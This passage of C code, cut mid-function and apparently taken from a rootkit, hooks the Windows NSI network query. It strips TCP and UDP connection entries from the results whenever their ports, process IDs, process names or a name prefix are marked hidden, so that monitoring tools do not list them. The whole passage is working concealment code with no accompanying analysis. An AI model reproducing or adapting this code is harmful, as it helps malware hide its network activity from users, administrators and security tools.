>TcpProcessId, FALSE, processName, MAX_PATH);

                            hidden =
                                IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry-
>Local.Port)) ||
                                IsTcpRemotePortHidden(_byteswap_ushort(tcpEntry-
>Remote.Port)) ||
                                processEntry && IsProcessIdHidden(processEntry-
>TcpProcessId) ||
                                lstrlenW(processName) > 0 &&
IsProcessNameHidden(processName) ||
                                HasPrefix(processName);
                        }
                        else if (nsiParam->Type == NsiUdp)
                        {
                            if (processEntry) GetProcessFileName(processEntry-
>UdpProcessId, FALSE, processName, MAX_PATH);

                            hidden =
                                IsUdpPortHidden(_byteswap_ushort(udpEntry->Port))
||
                                processEntry && IsProcessIdHidden(processEntry-
>UdpProcessId) ||
                                lstrlenW(processName) > 0 &&
IsProcessNameHidden(processName) ||
                                HasPrefix(processName);
                        }

                        // If hidden, move all following entries up by one and
decrease count.
                        if (hidden)
                        {
                            if (i < nsiParam->Count - 1) // Do not move following
entries, if this is the last entry
                            {
                                if (nsiParam->Type == NsiTcp)
                                {
                                    memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam-
>EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
                                }
                                else if (nsiParam->Type == NsiUdp)
                                {
                                    memmove(udpEntry, (LPBYTE)udpEntry + nsiParam-
>EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
                                }

                                if (statusEntry)
                                {
                                    memmove(statusEntry, (LPBYTE)statusEntry +
nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize);
                                }
```

```
                                if (processEntry)
                                {
                                    memmove(processEntry, (LPBYTE)processEntry +
nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam-
>ProcessEntrySize);
                                }
                            }

                            nsiParam->Count--;
                            i--;
                        }
                    }
                }
            }
        }

        return status;
}
```